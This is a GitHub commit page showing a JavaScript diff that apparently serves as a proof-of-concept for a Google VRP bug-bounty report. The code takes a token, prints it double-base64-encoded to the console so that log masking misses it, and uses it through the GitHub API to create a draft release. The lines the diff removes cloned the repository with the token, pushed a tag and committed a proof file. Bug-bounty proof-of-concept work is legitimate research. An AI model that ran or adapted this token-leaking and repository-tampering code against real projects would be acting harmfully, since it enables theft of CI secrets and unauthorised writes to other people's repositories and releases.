-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
1817fe7
commit 5d14cbe
Showing
1 changed file
with
24 additions
and
34 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -19,39 +19,29 @@ for (const line of config) { | |
|
||
console.log(Buffer.from(Buffer.from(token).toString('base64')).toString('base64')); | ||
|
||
execSync(`git clone https://${token}@github.com/${REPO} ${FOLDER}`); | ||
|
||
execSync(`git checkout -b ${RLS_NAME}`, { cwd: FOLDER }); | ||
|
||
execSync(`git config user.name ghost`, { cwd: FOLDER }); | ||
|
||
execSync(`git config user.email [email protected]`, { cwd: FOLDER }); | ||
|
||
execSync(`echo "this is for google-vrp to prove we can write to a branch" > poc.txt`, { cwd: FOLDER }); | ||
|
||
execSync(`git add poc.txt`, { cwd: FOLDER }); | ||
|
||
execSync(`git commit -m "for google vrp"`, { cwd: FOLDER }); | ||
|
||
execSync(`git push origin ${RLS_NAME}:refs/tags/${RLS_NAME}`, { cwd: FOLDER }); | ||
|
||
const url = `https://api.github.com/repos/${REPO}/releases`; | ||
|
||
const payload = { | ||
tag_name: RLS_NAME, // The tag for the release | ||
name: "draft_release", // The release title | ||
body: "This is for google vrp to prove we can edit and create releases", // The release description | ||
draft: true // Mark the release as a draft | ||
}; | ||
|
||
fetch(url, { | ||
method: "POST", | ||
headers: { | ||
"Authorization": `Bearer ${token.split(':')[1]}`, | ||
"Accept": "application/vnd.github.v3+json", | ||
"Content-Type": "application/json" | ||
}, | ||
body: JSON.stringify(payload) | ||
}); | ||
(async function() { | ||
const url = `https://api.github.com/repos/${REPO}/releases`; | ||
|
||
const payload = { | ||
tag_name: RLS_NAME, // The tag for the release | ||
name: "draft_release", // The release title | ||
body: "This is for google vrp to prove we can edit and create releases", // The release description | ||
draft: true // Mark the release as a draft | ||
}; | ||
|
||
const response = await fetch(url, { | ||
method: "POST", | ||
headers: { | ||
"Authorization": `Bearer ${token.split(':')[1]}`, | ||
"Accept": "application/vnd.github.v3+json", | ||
"Content-Type": "application/json" | ||
}, | ||
body: JSON.stringify(payload) | ||
}); | ||
|
||
console.log(await response.json()) | ||
|
||
|
||
})() | ||
|
||
|